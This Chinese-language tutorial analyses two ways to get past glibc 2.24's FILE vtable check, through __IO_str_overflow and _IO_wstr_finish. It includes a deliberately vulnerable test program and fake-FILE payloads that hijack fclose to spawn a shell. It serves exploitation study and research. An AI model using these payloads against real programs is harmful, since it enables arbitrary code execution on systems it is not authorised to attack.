利用FILE结构体绕过glibc 2.24 vtable检测的技术分析
前言
在glibc 2.24版本中,引入了对FILE结构体vtable的检测机制,防止攻击者通过伪造vtable来执行任意代码。本文将详细分析两种绕过这种检测的技术方法,利用__IO_str_overflow和_IO_wstr_finish函数来实现代码执行。
环境准备
编译调试版glibc
为了便于分析,我们需要编译一个带有调试符号的glibc 2.24版本:
-
下载源码:
http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2 -
配置编译选项:
mkdir glibc_224 cd glibc_224/ ../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224 --disable-werror --enable-debug=yes -
编译安装:
make -j8 && make install
测试程序
测试程序代码如下(vuln.c):
#include <stdio.h>
#include <unistd.h>
char fake_file[0x200];
int main() {
FILE *fp;
puts("Leaking libc address of stdout:");
printf("%p\n", stdout); // Emulating libc leak
puts("Enter fake file structure");
read(0, fake_file, 0x200);
fp = (FILE *)&fake_file;
fclose(fp);
return 0;
}
编译命令:
gcc vuln.c -o vuln
vtable检测机制
glibc 2.24中通过IO_validate_vtable函数对vtable进行校验,确保vtable指针位于__stop___libc_IO_vtables和__start___libc_IO_vtables之间。
绕过思路是在这两个符号之间的合法vtable中寻找可以利用的函数指针。
方法一:利用__IO_str_overflow
原理分析
__IO_str_overflow是_IO_str_jumps中的一个函数指针,而_IO_str_jumps位于合法的vtable范围内。
关键代码分析(IDA反汇编):
-
首先检查
fp->_flag:if ( (fp->_flag & 0x8000) != 0 ) { // 检查失败路径 }设置
fp->_flag为0即可绕过。 -
关键执行路径:
if ( fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base ) { (fp[1]._IO_read_ptr)(2 * size + 100); }汇编层面实际上是调用
[fp+0xE0]处的函数指针,参数为2 * size + 100,其中size = fp->_IO_buf_end - fp->_IO_buf_base。
利用步骤
- 设置
fp+0xE0为system地址 - 控制
fp->_IO_buf_end和fp->_IO_buf_base,使得2 * size + 100等于/bin/sh的地址- 例如:
fp->_IO_buf_base=0,fp->_IO_buf_end=(sh_addr-100)/2
- 例如:
- 设置
fp->_lock指向一个值为0的内存地址(绕过锁检查) - 设置vtable为
_IO_str_jumps中适当偏移,使得_IO_FINISH调用__IO_str_overflow
伪造FILE结构体
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base
fake_file += p64(0x0) # write_base
fake_file += p64(sh_addr) # write_ptr (write_ptr - write_base > buf_end - buf_base)
fake_file += p64(0x0) # write_end
fake_file += p64(0x0) # buf_base
fake_file += p64((sh_addr-100)/2) # buf_end
fake_file += b"\x00"*(0x88-len(fake_file)) # padding for _lock
fake_file += p64(lock_ptr) # _lock指向0的指针
fake_file += b"\x00"*(0xd8-len(fake_file)) # padding for vtable
fake_file += p64(_IO_str_jumps + 0x18) # vtable设置,使_finish指向__IO_str_overflow
fake_file += b"\x00"*(0xe0-len(fake_file)) # padding
fake_file += p64(system_addr) # [fp+0xE0] = system
执行流程
fclose(fp)调用_IO_FINISH(fp)_IO_FINISH实际调用vtable->_finish,即__IO_str_overflow__IO_str_overflow检查通过后调用[fp+0xE0](system)- 参数为
2*(buf_end - buf_base) + 100(/bin/sh地址) - 执行
system("/bin/sh")获取shell
方法二:利用_IO_wstr_finish
原理分析
_IO_wstr_finish位于_IO_wstr_jumps中,也是一个合法的vtable函数。
关键检查:
if ( fp->_wide_data->_IO_buf_base && !(v2->_flags2 & 8) )
{
// 执行路径
}
汇编层面:
- 检查
[fp+0xA0] + 0x30(_wide_data->_IO_buf_base)不为0 - 检查
fp+0x74(_flags2)的值为0 - 调用
[fp+0xE8]处的函数指针
利用步骤
- 设置
fp+0xA0指向一个结构体,其中+0x30处不为0 - 设置
fp+0x74为0 - 设置
fp+0xE8为one_gadget地址 - 设置vtable为
_IO_wstr_jumps
伪造FILE结构体
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base
fake_file += p64(0x0) # write_base
fake_file += p64(sh_addr) # write_ptr
fake_file += p64(0x0) # write_end
fake_file += p64(0x0) # buf_base
fake_file += p64((sh_addr-100)/2) # buf_end
fake_file += b"\x00"*(0x88-len(fake_file)) # padding for _lock
fake_file += p64(lock_ptr) # _lock指向0的指针
fake_file += b"\x00"*(0xA0-len(fake_file)) # padding
fake_file += p64(wide_data_ptr) # _wide_data (wide_data+0x30 != 0)
fake_file += b"\x00"*(0xD8-len(fake_file)) # padding for vtable
fake_file += p64(_IO_wstr_jumps) # vtable
fake_file += b"\x00"*(0xE8-len(fake_file)) # padding
fake_file += p64(one_gadget) # rip
执行流程
fclose(fp)调用_IO_FINISH(fp)_IO_FINISH实际调用vtable->_finish,即_IO_wstr_finish_IO_wstr_finish检查通过后调用[fp+0xE8](one_gadget)- 直接获取shell
总结
这两种方法都利用了glibc中合法的vtable函数来绕过检测:
-
__IO_str_overflow方法:
- 优点:可以精确控制参数,调用任意函数
- 缺点:需要控制更多FILE结构体字段
-
_IO_wstr_finish方法:
- 优点:可以直接跳转到one_gadget,设置简单
- 缺点:需要满足one_gadget的约束条件
在实际利用中,可以根据具体情况选择合适的方法。这两种技术都展示了即使在有vtable检测的情况下,通过深入理解glibc内部实现,仍然可以找到可利用的代码路径。